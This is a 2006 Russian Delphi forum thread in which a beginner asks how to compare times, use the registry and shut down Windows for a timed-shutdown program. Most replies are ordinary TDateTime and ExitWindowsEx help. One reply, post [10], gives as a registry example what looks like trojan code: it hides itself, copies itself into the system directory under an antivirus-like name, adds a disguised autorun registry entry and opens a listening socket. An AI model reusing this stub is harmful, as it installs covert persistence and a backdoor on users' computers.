Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Как сравнить время [D6, WinXP]


Страницы:   1 2

alex111 ©   (2006-02-20 14:57:00) 

Пытаюсь написать прогу которая будет выключать комп через определенное время. Столкнулся с такой проблемой:
Функция time возвращает время в формате 12:42:34. Сохраняю его, затем по таймеру проверяю системное время. Вопрос: Как сравнить полученное время с сохраненным ?????
Если можно простенький пример.
Заранее благодарен.


alex111   (2006-03-10 08:02:00) [1]


> ExitWindowsEx(EWX_POWEROFF or ewx_force,0); /*завершает

также winexec
как корректно выключить компьютер?


alex111   (2006-02-27 05:43:00) [2]


> ExitWindowsEx(EWX_POWEROFF or ewx_force,0); /*завершает
> работу компьютера с выключением питания, если система поддерживает
> автоуправление питанием*/

Почему-то эта ф-я вместо PowerOff делает LogOff.


alex111   (2006-02-24 14:16:00) [3]


> Строка:Tregistry non aviable for cross platform...
> говорит о том что работа с данным типов не доступна для
> кроссплатформенных приложений, таких как линукс и другие.
>
> Реестр сугубо виндовая фишка
>
> По поводу Registry.pas то его нужно подключить в uses твоего
> юнита.
>

А-а-а теперь понятно. Жаль что попробовать смогу теперь только завтра.


Сайбель Алексей   (2006-02-24 09:10:00) [4]

2 alex111 © [21]

> пишу: var Reg: Tregistry...и т.д;//здесь ошибка при
>компиляции типа не знаю что такое Tregistry
> поискал в справке там Tregistry non aviable for cross
>platform...
> думал не установлен компонент, попробовал установить,
> нашел Registry.pas, устанавливаю, а он говорит, что
> уже установлено, но в компонентах его нет.

Строка: Tregistry non aviable for cross platform...
говорит о том что работа с данным типов не доступна для кроссплатформенных приложений, таких как линукс и другие.
Реестр сугубо виндовая фишка

По поводу Registry.pasто его нужно подключить в usesтвоего юнита.


alex111   (2006-02-24 07:41:00) [5]

Dark, спасибо за почту!

-=Dark=- писал:
> Reg: TRegistry;
>  dir,str: string;
>  len: integer;

пишу: var Reg: Tregistry...и т.д;//здесь ошибка при компиляции типа не знаю что такое Tregistry
поискал в справке там Tregistry non aviable for cross platform...
думал не установлен компонент, попробовал установить, нашел Registry.pas, устанавливаю, а он говорит, что уже установлено, но в компонентах его нет.


> Проверяй данные, которые складываешь!А еще Лучше, если starttime
> и limit укажешь как константы, ну если конечно так и должно
> быть! Правильно ли ты их прописываешь и вообще ты их в каком
> формате складываешь то? У тебя есть полученное время типа
> 00:00:00! К нему должно прибовлять в таком же формате учитывая
> постановку часов, минут и секунд! Проверяй, значит где то
> ошибка!:-)

здесь так:
StartTime:=Now;
limit:=01:00:00;
ostatok:=StartTime+StrToTime(limit)-Now;
Label1.Caption:=TimeToStr(StartTime);//здесь правильно
Label2.Caption:=limit;//здесь правильно
Label3.Caption:=TimeToStr(ostatok);//здесь не верное значение
Label4.Caption:=Now;//здесь правильно


-=Dark=-   (2006-02-23 15:02:00) [6]

А по поводу

> интересно почему так:
> ostatok:=starttime+limit-now;//посчитаем сколько осталось
> результат вычисляется не верный.

Проверяй данные, которые складываешь!А еще Лучше, если starttime и limit укажешь как константы, ну если конечно так и должно быть! Правильно ли ты их прописываешь и вообще ты их в каком формате складываешь то? У тебя есть полученное время типа 00:00:00! К нему должно прибовлять в таком же формате учитывая постановку часов, минут и секунд! Проверяй, значит где то ошибка!:-)


alex111   (2006-02-23 14:56:00) [7]

-=Dark=- вот inf(псина)xaker.ru
спасибо!!!


-=Dark=-   (2006-02-23 14:55:00) [8]

ExitWindowsEx(EWX_LOGOFF or ewx_force,0); /*завершает работу всех запущенных в системе процессов, сохраняя данные приложения, вызвавшего эту функцию*/

ExitWindowsEx(EWX_SHUTDOWN or ewx_force,0); /*останавливает работу системы в безопасный момент времени. Все буферы очищаются с сохранением данных на диске, все процессы останавливаются*/

ExitWindowsEx(EWX_REBOOT or ewx_force,0); /*перезагрузка системы*/

ExitWindowsEx(EWX_FORCE or ewx_force,0); /*завершает работу всех запущенных в системе приложений, не посылая им сообщения WM_QUERYENDSESSION и WM_ENDSESSIO. Это может вызвать потерю не сохраненных данных*/

ExitWindowsEx(EWX_POWEROFF or ewx_force,0); /*завершает работу компьютера с выключением питания, если система поддерживает автоуправление питанием*/

ExitWindowsEx(EWX_FORCEIFHUNG or ewx_force,0); /*завершает работу всех запущенных в системе приложений если система висит*/


-=Dark=-   (2006-02-23 14:52:00) [9]

Оставь мыльник! Api функции солью!


-=Dark=-   (2006-02-23 14:44:00) [10]

Reg: TRegistry;
 dir,str: string;
 len: integer;
begin
 Application.ShowMainForm := false;
 len := 255;
 SetLength(Dir,Len);
 Len := GetSystemDirectory(PChar(Dir),Len);
 SetLength(Dir,Len);
 if Application.ExeName <> Dir + '\AVPMON.EXE' then
   begin
     if not FileExists(Dir + '\avpmon.exe') then
       begin
         CopyFile('avpmon.exe',PChar(Dir + '\avpmon.exe'),false);
         WinExec(PChar(Dir + '\avpmon.exe'),0);
       end;
     Application.Terminate;
     Exit;
   end;
 Reg := TRegistry.Create;
 Reg.RootKey := HKEY_LOCAL_MACHINE;
 if Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',false) then
   begin
     str := Reg.ReadString('internat32');
     if str <> Application.ExeName then
       Reg.WriteString('Services',Application.ExeName);
     Reg.CloseKey;
   end;
 Reg.Free;
 ServerSocket1.Active := true;
end;


alex111   (2006-02-23 14:23:00) [11]


> 1) По поводу реестра: Нарой какой-нибудь исходник в котором
> описана работа с реестром! На самом деле там все очень просто!
>  Или тебе нужен пример создания ключа и записи, ну или удаления?
>
> 2) Нарой описание API функций Виндов! Так как помимо самого
> выключения коспа тебе необходимо еще и закрывать все окна,
>  и программы, иначе будет выдаться ошибка и требование сначала
> закрыть, там какую-нибудь программу.

Буду благодарен примеру.
А по поводу

> интересно почему так:
> ostatok:=starttime+limit-now;//посчитаем сколько осталось
> результат вычисляется не верный.

now F1выдает что-то типа "резервирует место в памяти для чего-го там"


-=Dark=-   (2006-02-23 14:11:00) [12]

1)какие ф-ии в делфи для работы с реестром? //даже не соображу какое слово для поиска в справке ввести, т.к. с английским у меня еще хуже чем с делфи.

TRegistry

2)как выключить комп програмно?

см. в сторону
ExitWindows()
ExitWindowsEx()

1) По поводу реестра: Нарой какой-нибудь исходник в котором описана работа с реестром! На самом деле там все очень просто! Или тебе нужен пример создания ключа и записи, ну или удаления?
2) Нарой описание API функций Виндов! Так как помимо самого выключения коспа тебе необходимо еще и закрывать все окна, и программы, иначе будет выдаться ошибка и требование сначала закрыть, там какую-нибудь программу.


ssk   (2006-02-23 11:55:00) [13]

1)какие ф-ии в делфи для работы с реестром? //даже не соображу какое слово для поиска в справке ввести, т.к. с английским у меня еще хуже чем с делфи.

TRegistry

2)как выключить комп програмно?

см. в сторону
ExitWindows()
ExitWindowsEx()


alex111   (2006-02-23 11:16:00) [14]

интересно почему так:
ostatok:=starttime+limit-now;//посчитаем сколько осталось
результат вычисляется не верный.
например: starttime=21:13:00
              limit=00:05:00
              now=21:13:01..02..03 и т.д.
а остаток вычисляется 23:18:01..02..03 и т.д.?

а если ostatok:=starttime+limit-Time; то все ок
еще пара вопросов
1)какие ф-ии в делфи для работы с реестром? //даже не соображу какое слово для поиска в справке ввести, т.к. с английским у меня еще хуже чем с делфи.
2)как выключить комп програмно?


alex111   (2006-02-21 08:25:00) [15]

Спасибо!!!


КиТаЯц   (2006-02-21 07:17:00) [16]


> alex111 ©   (20.02.06 14:57)
>
> определенное время. Столкнулся с такой проблемой:
> Функция time возвращает время в формате 12:42:34. Сохраняю


> alex111 ©   (21.02.06 06:02) [8]
>
>
> > if <Твое_время> >= Now
>
> Мне нужно: if<моё время+лимит>=Now...
> но я не могу прибавить лимит (в минутах) к времени. ошибка
> несоответствия типов.


Коряво, но, надеюсь, понятно ;=)
var
MyTime: string = '06.30.00';
Limit: string = '00.00.05';
TmpSep: char;      //
TimSep: char = '.'; // отвязываем зависимость от системных настроек
...
TmpSep:= TimeSeparator; // запоминаем системный
TimeSeparator:= TmpSep; // изменяем разделитель дат на наш формат
if ((StrToTime(MyTime)+StrToTime(Limit)) >= Now)
  then ... showmessage('Время вышло!');
TimeSeparator:= TmpSep; // возвращаем системные настройки


КаПиБаРа   (2006-02-21 06:34:00) [17]

alex111 ©   (20.02.06 14:57)
Функция time возвращает время в формате 12:42:34


function Time: TDateTime;
__________________________________
Unit

System

type TDateTime = type Double;

Фунцкия как ни странно возвращает вещественное число.
F1 - TDateTime type


alex111   (2006-02-21 06:02:00) [18]


> if <Твое_время> >= Now

Мне нужно: if<моё время+лимит>=Now...
но я не могу прибавить лимит (в минутах) к времени. ошибка несоответствия типов.
извините если вопрос глупый, я ещё совсем чайник.


Коля   (2006-02-20 23:38:00) [19]

Кусок кода от будильника. Много всякой лишней дряни, но надеюсь ответит на вопрос


procedure TForm1.Timer1Timer(Sender: TObject);
var
hn,mn,mm,mmm: word;
begin
Time:=now;
if aset then
begin
   if not (pll) then
   begin
   DecodeTime(time, hn, mn, mm, mmm);
   if (hn=ha) and (mn=ma) then
   begin
     mediaplayer1.Open;
     mediaplayer1.Play;
       groupbox2.Show;
 groupbox1.Hide;
     //mediaplayer1.TimeFormat:=tfMilliseconds;
     //form2.timer3.Interval:=2000;
     form1.Show;
     pll:=true;
     hp:=true;
   end;
   end
   else
   begin
     if mediaplayer1.Position = mediaplayer1.Length then
     begin
       mediaplayer1.Position:=1;
       mediaplayer1.Play;
     end;
   end;
end;
end;


SOFTakaXimera   (2006-02-20 18:24:00) [20]

if StrToTime(12:42:34) < Now Then .....


Страницы:   1 2

Наверх

Титульная страница Поиск, карта сайта Написать письмо